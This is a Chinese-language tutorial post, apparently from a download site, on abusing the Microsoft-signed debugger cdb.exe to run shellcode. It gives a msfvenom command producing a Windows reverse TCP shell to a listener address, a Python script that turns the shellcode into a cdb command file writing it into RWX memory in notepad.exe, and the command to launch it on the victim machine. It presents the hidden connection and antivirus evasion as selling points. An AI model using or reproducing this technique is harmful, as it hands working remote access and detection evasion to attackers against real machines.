×
618会员大促,站长已经被打骨折了
我也来一脚
忽略

使用白名单文件Windows签名程序执行shellcode

cdb.exe 是安装 windows debugging tools 时自带的一个命令行调试工具,也是由微软签发证书:

使用白名单文件Windows签名程序执行shellcode插图

既然是调试工具,那就可以调试指定进程,且在指定进程里分配RWX属性内存并写入shellcode,最后执行该内存中的shellcode。

shell.wds的生成是有固定格式的,首先使用 msf 生成 reverse_tcp 类型的 shellcode

msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.80.138 LPORT=4444 -f c

去掉 \x 、” 等字符之后,保留原始 shellcode 字符,通过python 进行处理:

import binascii

# 处理过的shellcode 粘贴到这
buf = "shellcode"

outfile = open("shell.wds","w")
outfile.write(".foreach /pS 5  ( register { .dvalloc 272 } ) { r @$t0 = register }"+"\n")
num = (int)(len(buf)/2)
count = 0

for i in range(num):
    flag = count%4
    if flag == 0:
        outfile.write("\n")
    if count < 16:
        sc_count = "0" + hex(count).upper()
    else:
        sc_count = hex(count).upper()
    x = ";eb @$t0+" + sc_count + " " + buf[i*2:i*2+2].upper()
    count = count + 1
    x= x.replace("0X","")
    outfile.write(x)
extra = num%4
if extra!=0:
    for j in range(4-extra):
        sc_count = hex(count).upper()
        count = count+1
        x = ";eb @$t0+" + sc_count + " 00"
        x = x.replace("0X", "")
        outfile.write(x)

outfile.write("\n" + "r @$ip=@$t0"+"\n")
outfile.write("g"+"\n")
outfile.write("g"+"\n")
outfile.write("q")

生成shell.wds文件后,将 cdb 和 wds 文件复制到被害机器中,执行:

cdb.exe -pd -cf shell.wds -o notepad.exe

可以看到正常上线:

使用白名单文件Windows签名程序执行shellcode插图1

查看受害机器进程:

使用白名单文件Windows签名程序执行shellcode插图2

可以看到是在 notepad 进程中存在 tcp 连接,隐蔽性相对较高,且由于shellcode没明显特征,cdb 有签名,因此免杀效果很好。

相关文件下载地址

该资源需登录后下载

去登录
温馨提示:若该资源侵犯了您的权益,请联系我们处理。
使用白名单文件Windows签名程序执行shellcode
免费资源
立即下载